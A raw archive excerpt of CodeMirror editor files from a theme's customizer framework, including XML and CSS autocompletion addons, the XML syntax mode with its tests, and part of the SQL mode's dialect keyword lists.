        if (global.jQuery != null && (obj.string == '$' || obj.string == 'jQuery') &&
            (typeof global.jQuery == 'function'))
          base = global.jQuery();
        else if (global._ != null && (obj.string == '_') && (typeof global._ == 'function'))
          base = global._();
      }
      while (base != null && context.length)
        base = base[context.pop().string];
      if (base != null) gatherCompletions(base);
    } else {
      // If not, just look in the global object and any local scope
      // (reading into JS mode internals to get at the local and global variables)
      for (var v = token.state.localVars; v; v = v.next) maybeAdd(v.name);
      for (var v = token.state.globalVars; v; v = v.next) maybeAdd(v.name);
      if (!options || options.useGlobalScope !== false)
        gatherCompletions(global);
      forEach(keywords, maybeAdd);
    }
    return found;
  }
});
PK     N\:6    K  inc/customizer/framework/assets/js/vendor/codemirror/addon/hint/xml-hint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var Pos = CodeMirror.Pos;

  function getHints(cm, options) {
    var tags = options && options.schemaInfo;
    var quote = (options && options.quoteChar) || '"';
    if (!tags) return;
    var cur = cm.getCursor(), token = cm.getTokenAt(cur);
    if (token.end > cur.ch) {
      token.end = cur.ch;
      token.string = token.string.slice(0, cur.ch - token.start);
    }
    var inner = CodeMirror.innerMode(cm.getMode(), token.state);
    if (inner.mode.name != "xml") return;
    var result = [], replaceToken = false, prefix;
    var tag = /\btag\b/.test(token.type) && !/>$/.test(token.string);
    var tagName = tag && /^\w/.test(token.string), tagStart;

    if (tagName) {
      var before = cm.getLine(cur.line).slice(Math.max(0, token.start - 2), token.start);
      var tagType = /<\/$/.test(before) ? "close" : /<$/.test(before) ? "open" : null;
      if (tagType) tagStart = token.start - (tagType == "close" ? 2 : 1);
    } else if (tag && token.string == "<") {
      tagType = "open";
    } else if (tag && token.string == "</") {
      tagType = "close";
    }

    if (!tag && !inner.state.tagName || tagType) {
      if (tagName)
        prefix = token.string;
      replaceToken = tagType;
      var cx = inner.state.context, curTag = cx && tags[cx.tagName];
      var childList = cx ? curTag && curTag.children : tags["!top"];
      if (childList && tagType != "close") {
        for (var i = 0; i < childList.length; ++i) if (!prefix || childList[i].lastIndexOf(prefix, 0) == 0)
          result.push("<" + childList[i]);
      } else if (tagType != "close") {
        for (var name in tags)
          if (tags.hasOwnProperty(name) && name != "!top" && name != "!attrs" && (!prefix || name.lastIndexOf(prefix, 0) == 0))
            result.push("<" + name);
      }
      if (cx && (!prefix || tagType == "close" && cx.tagName.lastIndexOf(prefix, 0) == 0))
        result.push("</" + cx.tagName + ">");
    } else {
      // Attribute completion
      var curTag = tags[inner.state.tagName], attrs = curTag && curTag.attrs;
      var globalAttrs = tags["!attrs"];
      if (!attrs && !globalAttrs) return;
      if (!attrs) {
        attrs = globalAttrs;
      } else if (globalAttrs) { // Combine tag-local and global attributes
        var set = {};
        for (var nm in globalAttrs) if (globalAttrs.hasOwnProperty(nm)) set[nm] = globalAttrs[nm];
        for (var nm in attrs) if (attrs.hasOwnProperty(nm)) set[nm] = attrs[nm];
        attrs = set;
      }
      if (token.type == "string" || token.string == "=") { // A value
        var before = cm.getRange(Pos(cur.line, Math.max(0, cur.ch - 60)),
                                 Pos(cur.line, token.type == "string" ? token.start : token.end));
        var atName = before.match(/([^\s\u00a0=<>\"\']+)=$/), atValues;
        if (!atName || !attrs.hasOwnProperty(atName[1]) || !(atValues = attrs[atName[1]])) return;
        if (typeof atValues == 'function') atValues = atValues.call(this, cm); // Functions can be used to supply values for autocomplete widget
        if (token.type == "string") {
          prefix = token.string;
          var n = 0;
          if (/['"]/.test(token.string.charAt(0))) {
            quote = token.string.charAt(0);
            prefix = token.string.slice(1);
            n++;
          }
          var len = token.string.length;
          if (/['"]/.test(token.string.charAt(len - 1))) {
            quote = token.string.charAt(len - 1);
            prefix = token.string.substr(n, len - 2);
          }
          replaceToken = true;
        }
        for (var i = 0; i < atValues.length; ++i) if (!prefix || atValues[i].lastIndexOf(prefix, 0) == 0)
          result.push(quote + atValues[i] + quote);
      } else { // An attribute name
        if (token.type == "attribute") {
          prefix = token.string;
          replaceToken = true;
        }
        for (var attr in attrs) if (attrs.hasOwnProperty(attr) && (!prefix || attr.lastIndexOf(prefix, 0) == 0))
          result.push(attr);
      }
    }
    return {
      list: result,
      from: replaceToken ? Pos(cur.line, tagStart == null ? token.start : tagStart) : cur,
      to: replaceToken ? Pos(cur.line, token.end) : cur
    };
  }

  CodeMirror.registerHelper("hint", "xml", getHints);
});
PK     N\[	u  u  K  inc/customizer/framework/assets/js/vendor/codemirror/addon/hint/css-hint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../../mode/css/css"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../../mode/css/css"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var pseudoClasses = {link: 1, visited: 1, active: 1, hover: 1, focus: 1,
                       "first-letter": 1, "first-line": 1, "first-child": 1,
                       before: 1, after: 1, lang: 1};

  CodeMirror.registerHelper("hint", "css", function(cm) {
    var cur = cm.getCursor(), token = cm.getTokenAt(cur);
    var inner = CodeMirror.innerMode(cm.getMode(), token.state);
    if (inner.mode.name != "css") return;

    if (token.type == "keyword" && "!important".indexOf(token.string) == 0)
      return {list: ["!important"], from: CodeMirror.Pos(cur.line, token.start),
              to: CodeMirror.Pos(cur.line, token.end)};

    var start = token.start, end = cur.ch, word = token.string.slice(0, end - start);
    if (/[^\w$_-]/.test(word)) {
      word = ""; start = end = cur.ch;
    }

    var spec = CodeMirror.resolveMode("text/css");

    var result = [];
    function add(keywords) {
      for (var name in keywords)
        if (!word || name.lastIndexOf(word, 0) == 0)
          result.push(name);
    }

    var st = inner.state.state;
    if (st == "pseudo" || token.type == "variable-3") {
      add(pseudoClasses);
    } else if (st == "block" || st == "maybeprop") {
      add(spec.propertyKeywords);
    } else if (st == "prop" || st == "parens" || st == "at" || st == "params") {
      add(spec.valueKeywords);
      add(spec.colorKeywords);
    } else if (st == "media" || st == "media_parens") {
      add(spec.mediaTypes);
      add(spec.mediaFeatures);
    }

    if (result.length) return {
      list: result,
      from: CodeMirror.Pos(cur.line, start),
      to: CodeMirror.Pos(cur.line, end)
    };
  });
});
PK     N\mQE    M  inc/customizer/framework/assets/js/vendor/codemirror/addon/hint/show-hint.cssnu [        .CodeMirror-hints {
  position: absolute;
  z-index: 10;
  overflow: hidden;
  list-style: none;

  margin: 0;
  padding: 2px;

  -webkit-box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  -moz-box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  border-radius: 3px;
  border: 1px solid silver;

  background: white;
  font-size: 90%;
  font-family: monospace;

  max-height: 20em;
  overflow-y: auto;
}

.CodeMirror-hint {
  margin: 0;
  padding: 0 4px;
  border-radius: 2px;
  max-width: 19em;
  overflow: hidden;
  white-space: pre;
  color: black;
  cursor: pointer;
}

li.CodeMirror-hint-active {
  background: #08f;
  color: white;
}
PK     N\g^4q0  q0  D  inc/customizer/framework/assets/js/vendor/codemirror/mode/xml/xml.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("xml", function(config, parserConfig) {
  var indentUnit = config.indentUnit;
  var multilineTagIndentFactor = parserConfig.multilineTagIndentFactor || 1;
  var multilineTagIndentPastTag = parserConfig.multilineTagIndentPastTag;
  if (multilineTagIndentPastTag == null) multilineTagIndentPastTag = true;

  var Kludges = parserConfig.htmlMode ? {
    autoSelfClosers: {'area': true, 'base': true, 'br': true, 'col': true, 'command': true,
                      'embed': true, 'frame': true, 'hr': true, 'img': true, 'input': true,
                      'keygen': true, 'link': true, 'meta': true, 'param': true, 'source': true,
                      'track': true, 'wbr': true, 'menuitem': true},
    implicitlyClosed: {'dd': true, 'li': true, 'optgroup': true, 'option': true, 'p': true,
                       'rp': true, 'rt': true, 'tbody': true, 'td': true, 'tfoot': true,
                       'th': true, 'tr': true},
    contextGrabbers: {
      'dd': {'dd': true, 'dt': true},
      'dt': {'dd': true, 'dt': true},
      'li': {'li': true},
      'option': {'option': true, 'optgroup': true},
      'optgroup': {'optgroup': true},
      'p': {'address': true, 'article': true, 'aside': true, 'blockquote': true, 'dir': true,
            'div': true, 'dl': true, 'fieldset': true, 'footer': true, 'form': true,
            'h1': true, 'h2': true, 'h3': true, 'h4': true, 'h5': true, 'h6': true,
            'header': true, 'hgroup': true, 'hr': true, 'menu': true, 'nav': true, 'ol': true,
            'p': true, 'pre': true, 'section': true, 'table': true, 'ul': true},
      'rp': {'rp': true, 'rt': true},
      'rt': {'rp': true, 'rt': true},
      'tbody': {'tbody': true, 'tfoot': true},
      'td': {'td': true, 'th': true},
      'tfoot': {'tbody': true},
      'th': {'td': true, 'th': true},
      'thead': {'tbody': true, 'tfoot': true},
      'tr': {'tr': true}
    },
    doNotIndent: {"pre": true},
    allowUnquoted: true,
    allowMissing: true,
    caseFold: true
  } : {
    autoSelfClosers: {},
    implicitlyClosed: {},
    contextGrabbers: {},
    doNotIndent: {},
    allowUnquoted: false,
    allowMissing: false,
    caseFold: false
  };
  var alignCDATA = parserConfig.alignCDATA;

  // Return variables for tokenizers
  var type, setStyle;

  function inText(stream, state) {
    function chain(parser) {
      state.tokenize = parser;
      return parser(stream, state);
    }

    var ch = stream.next();
    if (ch == "<") {
      if (stream.eat("!")) {
        if (stream.eat("[")) {
          if (stream.match("CDATA[")) return chain(inBlock("atom", "]]>"));
          else return null;
        } else if (stream.match("--")) {
          return chain(inBlock("comment", "-->"));
        } else if (stream.match("DOCTYPE", true, true)) {
          stream.eatWhile(/[\w\._\-]/);
          return chain(doctype(1));
        } else {
          return null;
        }
      } else if (stream.eat("?")) {
        stream.eatWhile(/[\w\._\-]/);
        state.tokenize = inBlock("meta", "?>");
        return "meta";
      } else {
        type = stream.eat("/") ? "closeTag" : "openTag";
        state.tokenize = inTag;
        return "tag bracket";
      }
    } else if (ch == "&") {
      var ok;
      if (stream.eat("#")) {
        if (stream.eat("x")) {
          ok = stream.eatWhile(/[a-fA-F\d]/) && stream.eat(";");
        } else {
          ok = stream.eatWhile(/[\d]/) && stream.eat(";");
        }
      } else {
        ok = stream.eatWhile(/[\w\.\-:]/) && stream.eat(";");
      }
      return ok ? "atom" : "error";
    } else {
      stream.eatWhile(/[^&<]/);
      return null;
    }
  }
  inText.isInText = true;

  function inTag(stream, state) {
    var ch = stream.next();
    if (ch == ">" || (ch == "/" && stream.eat(">"))) {
      state.tokenize = inText;
      type = ch == ">" ? "endTag" : "selfcloseTag";
      return "tag bracket";
    } else if (ch == "=") {
      type = "equals";
      return null;
    } else if (ch == "<") {
      state.tokenize = inText;
      state.state = baseState;
      state.tagName = state.tagStart = null;
      var next = state.tokenize(stream, state);
      return next ? next + " tag error" : "tag error";
    } else if (/[\'\"]/.test(ch)) {
      state.tokenize = inAttribute(ch);
      state.stringStartCol = stream.column();
      return state.tokenize(stream, state);
    } else {
      stream.match(/^[^\s\u00a0=<>\"\']*[^\s\u00a0=<>\"\'\/]/);
      return "word";
    }
  }

  function inAttribute(quote) {
    var closure = function(stream, state) {
      while (!stream.eol()) {
        if (stream.next() == quote) {
          state.tokenize = inTag;
          break;
        }
      }
      return "string";
    };
    closure.isInAttribute = true;
    return closure;
  }

  function inBlock(style, terminator) {
    return function(stream, state) {
      while (!stream.eol()) {
        if (stream.match(terminator)) {
          state.tokenize = inText;
          break;
        }
        stream.next();
      }
      return style;
    };
  }
  function doctype(depth) {
    return function(stream, state) {
      var ch;
      while ((ch = stream.next()) != null) {
        if (ch == "<") {
          state.tokenize = doctype(depth + 1);
          return state.tokenize(stream, state);
        } else if (ch == ">") {
          if (depth == 1) {
            state.tokenize = inText;
            break;
          } else {
            state.tokenize = doctype(depth - 1);
            return state.tokenize(stream, state);
          }
        }
      }
      return "meta";
    };
  }

  function Context(state, tagName, startOfLine) {
    this.prev = state.context;
    this.tagName = tagName;
    this.indent = state.indented;
    this.startOfLine = startOfLine;
    if (Kludges.doNotIndent.hasOwnProperty(tagName) || (state.context && state.context.noIndent))
      this.noIndent = true;
  }
  function popContext(state) {
    if (state.context) state.context = state.context.prev;
  }
  function maybePopContext(state, nextTagName) {
    var parentTagName;
    while (true) {
      if (!state.context) {
        return;
      }
      parentTagName = state.context.tagName;
      if (!Kludges.contextGrabbers.hasOwnProperty(parentTagName) ||
          !Kludges.contextGrabbers[parentTagName].hasOwnProperty(nextTagName)) {
        return;
      }
      popContext(state);
    }
  }

  function baseState(type, stream, state) {
    if (type == "openTag") {
      state.tagStart = stream.column();
      return tagNameState;
    } else if (type == "closeTag") {
      return closeTagNameState;
    } else {
      return baseState;
    }
  }
  function tagNameState(type, stream, state) {
    if (type == "word") {
      state.tagName = stream.current();
      setStyle = "tag";
      return attrState;
    } else {
      setStyle = "error";
      return tagNameState;
    }
  }
  function closeTagNameState(type, stream, state) {
    if (type == "word") {
      var tagName = stream.current();
      if (state.context && state.context.tagName != tagName &&
          Kludges.implicitlyClosed.hasOwnProperty(state.context.tagName))
        popContext(state);
      if (state.context && state.context.tagName == tagName) {
        setStyle = "tag";
        return closeState;
      } else {
        setStyle = "tag error";
        return closeStateErr;
      }
    } else {
      setStyle = "error";
      return closeStateErr;
    }
  }

  function closeState(type, _stream, state) {
    if (type != "endTag") {
      setStyle = "error";
      return closeState;
    }
    popContext(state);
    return baseState;
  }
  function closeStateErr(type, stream, state) {
    setStyle = "error";
    return closeState(type, stream, state);
  }

  function attrState(type, _stream, state) {
    if (type == "word") {
      setStyle = "attribute";
      return attrEqState;
    } else if (type == "endTag" || type == "selfcloseTag") {
      var tagName = state.tagName, tagStart = state.tagStart;
      state.tagName = state.tagStart = null;
      if (type == "selfcloseTag" ||
          Kludges.autoSelfClosers.hasOwnProperty(tagName)) {
        maybePopContext(state, tagName);
      } else {
        maybePopContext(state, tagName);
        state.context = new Context(state, tagName, tagStart == state.indented);
      }
      return baseState;
    }
    setStyle = "error";
    return attrState;
  }
  function attrEqState(type, stream, state) {
    if (type == "equals") return attrValueState;
    if (!Kludges.allowMissing) setStyle = "error";
    return attrState(type, stream, state);
  }
  function attrValueState(type, stream, state) {
    if (type == "string") return attrContinuedState;
    if (type == "word" && Kludges.allowUnquoted) {setStyle = "string"; return attrState;}
    setStyle = "error";
    return attrState(type, stream, state);
  }
  function attrContinuedState(type, stream, state) {
    if (type == "string") return attrContinuedState;
    return attrState(type, stream, state);
  }

  return {
    startState: function() {
      return {tokenize: inText,
              state: baseState,
              indented: 0,
              tagName: null, tagStart: null,
              context: null};
    },

    token: function(stream, state) {
      if (!state.tagName && stream.sol())
        state.indented = stream.indentation();

      if (stream.eatSpace()) return null;
      type = null;
      var style = state.tokenize(stream, state);
      if ((style || type) && style != "comment") {
        setStyle = null;
        state.state = state.state(type || style, stream, state);
        if (setStyle)
          style = setStyle == "error" ? style + " error" : setStyle;
      }
      return style;
    },

    indent: function(state, textAfter, fullLine) {
      var context = state.context;
      // Indent multi-line strings (e.g. css).
      if (state.tokenize.isInAttribute) {
        if (state.tagStart == state.indented)
          return state.stringStartCol + 1;
        else
          return state.indented + indentUnit;
      }
      if (context && context.noIndent) return CodeMirror.Pass;
      if (state.tokenize != inTag && state.tokenize != inText)
        return fullLine ? fullLine.match(/^(\s*)/)[0].length : 0;
      // Indent the starts of attribute names.
      if (state.tagName) {
        if (multilineTagIndentPastTag)
          return state.tagStart + state.tagName.length + 2;
        else
          return state.tagStart + indentUnit * multilineTagIndentFactor;
      }
      if (alignCDATA && /<!\[CDATA\[/.test(textAfter)) return 0;
      var tagAfter = textAfter && /^<(\/)?([\w_:\.-]*)/.exec(textAfter);
      if (tagAfter && tagAfter[1]) { // Closing tag spotted
        while (context) {
          if (context.tagName == tagAfter[2]) {
            context = context.prev;
            break;
          } else if (Kludges.implicitlyClosed.hasOwnProperty(context.tagName)) {
            context = context.prev;
          } else {
            break;
          }
        }
      } else if (tagAfter) { // Opening tag spotted
        while (context) {
          var grabbers = Kludges.contextGrabbers[context.tagName];
          if (grabbers && grabbers.hasOwnProperty(tagAfter[2]))
            context = context.prev;
          else
            break;
        }
      }
      while (context && !context.startOfLine)
        context = context.prev;
      if (context) return context.indent + indentUnit;
      else return 0;
    },

    electricInput: /<\/[\s\w:]+>$/,
    blockCommentStart: "<!--",
    blockCommentEnd: "-->",

    configuration: parserConfig.htmlMode ? "html" : "xml",
    helperType: parserConfig.htmlMode ? "html" : "xml"
  };
});

CodeMirror.defineMIME("text/xml", "xml");
CodeMirror.defineMIME("application/xml", "xml");
if (!CodeMirror.mimeModes.hasOwnProperty("text/html"))
  CodeMirror.defineMIME("text/html", {name: "xml", htmlMode: true});

});
PK     N\d    E  inc/customizer/framework/assets/js/vendor/codemirror/mode/xml/test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({indentUnit: 2}, "xml"), mname = "xml";
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1), mname); }

  MT("matching",
     "[tag&bracket <][tag top][tag&bracket >]",
     "  text",
     "  [tag&bracket <][tag inner][tag&bracket />]",
     "[tag&bracket </][tag top][tag&bracket >]");

  MT("nonmatching",
     "[tag&bracket <][tag top][tag&bracket >]",
     "  [tag&bracket <][tag inner][tag&bracket />]",
     "  [tag&bracket </][tag&error tip][tag&bracket&error >]");

  MT("doctype",
     "[meta <!doctype foobar>]",
     "[tag&bracket <][tag top][tag&bracket />]");

  MT("cdata",
     "[tag&bracket <][tag top][tag&bracket >]",
     "  [atom <![CDATA[foo]",
     "[atom barbazguh]]]]>]",
     "[tag&bracket </][tag top][tag&bracket >]");

  // HTML tests
  mode = CodeMirror.getMode({indentUnit: 2}, "text/html");

  MT("selfclose",
     "[tag&bracket <][tag html][tag&bracket >]",
     "  [tag&bracket <][tag link] [attribute rel]=[string stylesheet] [attribute href]=[string \"/foobar\"][tag&bracket >]",
     "[tag&bracket </][tag html][tag&bracket >]");

  MT("list",
     "[tag&bracket <][tag ol][tag&bracket >]",
     "  [tag&bracket <][tag li][tag&bracket >]one",
     "  [tag&bracket <][tag li][tag&bracket >]two",
     "[tag&bracket </][tag ol][tag&bracket >]");

  MT("valueless",
     "[tag&bracket <][tag input] [attribute type]=[string checkbox] [attribute checked][tag&bracket />]");

  MT("pThenArticle",
     "[tag&bracket <][tag p][tag&bracket >]",
     "  foo",
     "[tag&bracket <][tag article][tag&bracket >]bar");

})();
PK     N\0ʺg  g  D  inc/customizer/framework/assets/js/vendor/codemirror/mode/sql/sql.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("sql", function(config, parserConfig) {
  "use strict";

  var client         = parserConfig.client || {},
      atoms          = parserConfig.atoms || {"false": true, "true": true, "null": true},
      builtin        = parserConfig.builtin || {},
      keywords       = parserConfig.keywords || {},
      operatorChars  = parserConfig.operatorChars || /^[*+\-%<>!=&|~^]/,
      support        = parserConfig.support || {},
      hooks          = parserConfig.hooks || {},
      dateSQL        = parserConfig.dateSQL || {"date" : true, "time" : true, "timestamp" : true};

  function tokenBase(stream, state) {
    var ch = stream.next();

    // call hooks from the mime type
    if (hooks[ch]) {
      var result = hooks[ch](stream, state);
      if (result !== false) return result;
    }

    if (support.hexNumber == true &&
      ((ch == "0" && stream.match(/^[xX][0-9a-fA-F]+/))
      || (ch == "x" || ch == "X") && stream.match(/^'[0-9a-fA-F]+'/))) {
      // hex
      // ref: http://dev.mysql.com/doc/refman/5.5/en/hexadecimal-literals.html
      return "number";
    } else if (support.binaryNumber == true &&
      (((ch == "b" || ch == "B") && stream.match(/^'[01]+'/))
      || (ch == "0" && stream.match(/^b[01]+/)))) {
      // bitstring
      // ref: http://dev.mysql.com/doc/refman/5.5/en/bit-field-literals.html
      return "number";
    } else if (ch.charCodeAt(0) > 47 && ch.charCodeAt(0) < 58) {
      // numbers
      // ref: http://dev.mysql.com/doc/refman/5.5/en/number-literals.html
          stream.match(/^[0-9]*\.?[0-9]+([eE][-+]?[0-9]+)?/);
      support.decimallessFloat == true && stream.eat('.');
      return "number";
    } else if (ch == "?" && (stream.eatSpace() || stream.eol() || stream.eat(";"))) {
      // placeholders
      return "variable-3";
    } else if (ch == "'" || (ch == '"' && support.doubleQuote)) {
      // strings
      // ref: http://dev.mysql.com/doc/refman/5.5/en/string-literals.html
      state.tokenize = tokenLiteral(ch);
      return state.tokenize(stream, state);
    } else if ((((support.nCharCast == true && (ch == "n" || ch == "N"))
        || (support.charsetCast == true && ch == "_" && stream.match(/[a-z][a-z0-9]*/i)))
        && (stream.peek() == "'" || stream.peek() == '"'))) {
      // charset casting: _utf8'str', N'str', n'str'
      // ref: http://dev.mysql.com/doc/refman/5.5/en/string-literals.html
      return "keyword";
    } else if (/^[\(\),\;\[\]]/.test(ch)) {
      // no highlightning
      return null;
    } else if (support.commentSlashSlash && ch == "/" && stream.eat("/")) {
      // 1-line comment
      stream.skipToEnd();
      return "comment";
    } else if ((support.commentHash && ch == "#")
        || (ch == "-" && stream.eat("-") && (!support.commentSpaceRequired || stream.eat(" ")))) {
      // 1-line comments
      // ref: https://kb.askmonty.org/en/comment-syntax/
      stream.skipToEnd();
      return "comment";
    } else if (ch == "/" && stream.eat("*")) {
      // multi-line comments
      // ref: https://kb.askmonty.org/en/comment-syntax/
      state.tokenize = tokenComment;
      return state.tokenize(stream, state);
    } else if (ch == ".") {
      // .1 for 0.1
      if (support.zerolessFloat == true && stream.match(/^(?:\d+(?:e[+-]?\d+)?)/i)) {
        return "number";
      }
      // .table_name (ODBC)
      // // ref: http://dev.mysql.com/doc/refman/5.6/en/identifier-qualifiers.html
      if (support.ODBCdotTable == true && stream.match(/^[a-zA-Z_]+/)) {
        return "variable-2";
      }
    } else if (operatorChars.test(ch)) {
      // operators
      stream.eatWhile(operatorChars);
      return null;
    } else if (ch == '{' &&
        (stream.match(/^( )*(d|D|t|T|ts|TS)( )*'[^']*'( )*}/) || stream.match(/^( )*(d|D|t|T|ts|TS)( )*"[^"]*"( )*}/))) {
      // dates (weird ODBC syntax)
      // ref: http://dev.mysql.com/doc/refman/5.5/en/date-and-time-literals.html
      return "number";
    } else {
      stream.eatWhile(/^[_\w\d]/);
      var word = stream.current().toLowerCase();
      // dates (standard SQL syntax)
      // ref: http://dev.mysql.com/doc/refman/5.5/en/date-and-time-literals.html
      if (dateSQL.hasOwnProperty(word) && (stream.match(/^( )+'[^']*'/) || stream.match(/^( )+"[^"]*"/)))
        return "number";
      if (atoms.hasOwnProperty(word)) return "atom";
      if (builtin.hasOwnProperty(word)) return "builtin";
      if (keywords.hasOwnProperty(word)) return "keyword";
      if (client.hasOwnProperty(word)) return "string-2";
      return null;
    }
  }

  // 'string', with char specified in quote escaped by '\'
  function tokenLiteral(quote) {
    return function(stream, state) {
      var escaped = false, ch;
      while ((ch = stream.next()) != null) {
        if (ch == quote && !escaped) {
          state.tokenize = tokenBase;
          break;
        }
        escaped = !escaped && ch == "\\";
      }
      return "string";
    };
  }
  function tokenComment(stream, state) {
    while (true) {
      if (stream.skipTo("*")) {
        stream.next();
        if (stream.eat("/")) {
          state.tokenize = tokenBase;
          break;
        }
      } else {
        stream.skipToEnd();
        break;
      }
    }
    return "comment";
  }

  function pushContext(stream, state, type) {
    state.context = {
      prev: state.context,
      indent: stream.indentation(),
      col: stream.column(),
      type: type
    };
  }

  function popContext(state) {
    state.indent = state.context.indent;
    state.context = state.context.prev;
  }

  return {
    startState: function() {
      return {tokenize: tokenBase, context: null};
    },

    token: function(stream, state) {
      if (stream.sol()) {
        if (state.context && state.context.align == null)
          state.context.align = false;
      }
      if (stream.eatSpace()) return null;

      var style = state.tokenize(stream, state);
      if (style == "comment") return style;

      if (state.context && state.context.align == null)
        state.context.align = true;

      var tok = stream.current();
      if (tok == "(")
        pushContext(stream, state, ")");
      else if (tok == "[")
        pushContext(stream, state, "]");
      else if (state.context && state.context.type == tok)
        popContext(state);
      return style;
    },

    indent: function(state, textAfter) {
      var cx = state.context;
      if (!cx) return CodeMirror.Pass;
      var closing = textAfter.charAt(0) == cx.type;
      if (cx.align) return cx.col + (closing ? 0 : 1);
      else return cx.indent + (closing ? 0 : config.indentUnit);
    },

    blockCommentStart: "/*",
    blockCommentEnd: "*/",
    lineComment: support.commentSlashSlash ? "//" : support.commentHash ? "#" : null
  };
});

(function() {
  "use strict";

  // `identifier`
  function hookIdentifier(stream) {
    // MySQL/MariaDB identifiers
    // ref: http://dev.mysql.com/doc/refman/5.6/en/identifier-qualifiers.html
    var ch;
    while ((ch = stream.next()) != null) {
      if (ch == "`" && !stream.eat("`")) return "variable-2";
    }
    stream.backUp(stream.current().length - 1);
    return stream.eatWhile(/\w/) ? "variable-2" : null;
  }

  // variable token
  function hookVar(stream) {
    // variables
    // @@prefix.varName @varName
    // varName can be quoted with ` or ' or "
    // ref: http://dev.mysql.com/doc/refman/5.5/en/user-variables.html
    if (stream.eat("@")) {
      stream.match(/^session\./);
      stream.match(/^local\./);
      stream.match(/^global\./);
    }

    if (stream.eat("'")) {
      stream.match(/^.*'/);
      return "variable-2";
    } else if (stream.eat('"')) {
      stream.match(/^.*"/);
      return "variable-2";
    } else if (stream.eat("`")) {
      stream.match(/^.*`/);
      return "variable-2";
    } else if (stream.match(/^[0-9a-zA-Z$\.\_]+/)) {
      return "variable-2";
    }
    return null;
  };

  // short client keyword token
  function hookClient(stream) {
    // \N means NULL
    // ref: http://dev.mysql.com/doc/refman/5.5/en/null-values.html
    if (stream.eat("N")) {
        return "atom";
    }
    // \g, etc
    // ref: http://dev.mysql.com/doc/refman/5.5/en/mysql-commands.html
    return stream.match(/^[a-zA-Z.#!?]/) ? "variable-2" : null;
  }

  // these keywords are used by all SQL dialects (however, a mode can still overwrite it)
  var sqlKeywords = "alter and as asc between by count create delete desc distinct drop from group having in insert into is join like not on or order select set table union update values where limit";

  // turn a space-separated list into an array
  function set(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  // A generic SQL Mode. It's not a standard, it just try to support what is generally supported
  CodeMirror.defineMIME("text/x-sql", {
    name: "sql",
    keywords: set(sqlKeywords + "begin"),
    builtin: set("bool boolean bit blob enum long longblob longtext medium mediumblob mediumint mediumtext time timestamp tinyblob tinyint tinytext text bigint int int1 int2 int3 int4 int8 integer float float4 float8 double char varbinary varchar varcharacter precision real date datetime year unsigned signed decimal numeric"),
    atoms: set("false true null unknown"),
    operatorChars: /^[*+\-%<>!=]/,
    dateSQL: set("date time timestamp"),
    support: set("ODBCdotTable doubleQuote binaryNumber hexNumber")
  });

  CodeMirror.defineMIME("text/x-mssql", {
    name: "sql",
    client: set("charset clear connect edit ego exit go help nopager notee nowarning pager print prompt quit rehash source status system tee"),
    keywords: set(sqlKeywords + "begin trigger proc view index for add constraint key primary foreign collate clustered nonclustered declare"),
    builtin: set("bigint numeric bit smallint decimal smallmoney int tinyint money float real char varchar text nchar nvarchar ntext binary varbinary image cursor timestamp hierarchyid uniqueidentifier sql_variant xml table "),
    atoms: set("false true null unknown"),
    operatorChars: /^[*+\-%<>!=]/,
    dateSQL: set("date datetimeoffset datetime2 smalldatetime datetime time"),
    hooks: {
      "@":   hookVar
    }
  });

  CodeMirror.defineMIME("text/x-mysql", {
    name: "sql",
    client: set("charset clear connect edit ego exit go help nopager notee nowarning pager print prompt quit rehash source status system tee"),
    keywords: set(sqlKeywords + "accessible action add after algorithm all analyze asensitive at authors auto_increment autocommit avg avg_row_length before binary binlog both btree cache call cascade cascaded case catalog_name chain change changed character check checkpoint checksum class_origin client_statistics close coalesce code collate collation collations column columns comment commit committed completion concurrent condition connection consistent constraint contains continue contributors convert cross current current_date current_time current_timestamp current_user cursor data database databases day_hour day_microsecond day_minute day_second deallocate dec declare default delay_key_write delayed delimiter des_key_file describe deterministic dev_pop dev_samp deviance diagnostics directory disable discard distinctrow div dual dumpfile each elseif enable enclosed end ends engine engines enum errors escape escaped even event events every execute exists exit explain extended fast fetch field fields first flush for force foreign found_rows full fulltext function general get global grant grants group group_concat handler hash help high_priority hosts hour_microsecond hour_minute hour_second if ignore ignore_server_ids import index index_statistics infile inner innodb inout insensitive insert_method install interval invoker isolation iterate key keys kill language last leading leave left level limit linear lines list load local localtime localtimestamp lock logs low_priority master master_heartbeat_period master_ssl_verify_server_cert masters match max max_rows maxvalue message_text middleint migrate min min_rows minute_microsecond minute_second mod mode modifies modify mutex mysql_errno natural next no no_write_to_binlog offline offset one online open optimize option optionally out outer outfile pack_keys parser partition partitions password phase plugin 